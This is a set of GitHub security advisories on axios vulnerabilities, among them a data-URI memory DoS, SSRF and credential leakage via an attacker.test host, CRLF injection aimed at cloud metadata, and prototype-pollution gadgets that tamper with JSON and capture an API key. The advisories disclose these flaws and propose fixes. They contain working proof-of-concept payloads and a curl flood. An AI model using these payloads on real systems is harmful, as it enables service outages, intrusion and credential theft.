httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js }elseif(utils.isFormData(data)&&utils.isFunction(data.getHeaders)){headers.set(data.getHeaders());// ...}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

constisFormData=(thing)=>{letkind;returnthing&&((typeofFormData==='function'&&thinginstanceofFormData)||(isFunction(thing.append)&&((kind=kindOf(thing))==='formdata'||(kind==='object'&&isFunction(thing.toString)&&thing.toString()==='[object FormData]'))))}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a functionutils.isFunction(data.getHeaders)

PoC

// Simulate Prototype PollutionObject.prototype[Symbol.toStringTag]='FormData';Object.prototype.append=()=>{};Object.prototype.getHeaders=()=>{constheaders=Object.create(null);(....Introduceherealltheheadersyouwant....)returnheaders;};Object.prototype.pipe=function(d){if(d&&d.end)d.end();returnd;};Object.prototype.on=function(){returnthis;};Object.prototype.once=function(){returnthis;};// Legitimate application codeconstresponse=awaitaxios.post('https://internal-api.company.com/admin/delete',{userId: 42},{headers: {'Authorization': 'Bearer VALID_USER_TOKEN'}});

Impact

Authentication Bypass (CVSS: C:H)
Session Fixation (CVSS: I:H)
Privilege Escalation (CVSS: C:H, I:H)
IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {- headers.set(data.getHeaders());+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {+ headers.set(data.getHeaders());

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it

Proof of Concept

importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: HTTP adapter streamed responses bypass maxContentLength

More information

Details

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js:

786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that returns a 2 MiB response body.
Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
Read the returned stream fully.

Observed:

Success; full 2097152 bytes readable.

Control check:

Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],

Proof of Concept

importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();

Verified PoC Output

[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}// Application sees: {"balance":999999,"approved":true}// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}// Application sees: {"mfaRequired":false,"accountLocked":false}// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

// FIXED: lib/defaults/index.jsconstreviver=Object.prototype.hasOwnProperty.call(this,'parseReviver')
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.jsconstconfig=Object.create(null);

Fix 3: Validate `parseReviver` type and source

// FIXED: lib/defaults/index.jsconstreviver=(typeofthis.parseReviver==='function'&&Object.prototype.hasOwnProperty.call(this,'parseReviver'))
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Relationship to Other Reported Gadgets

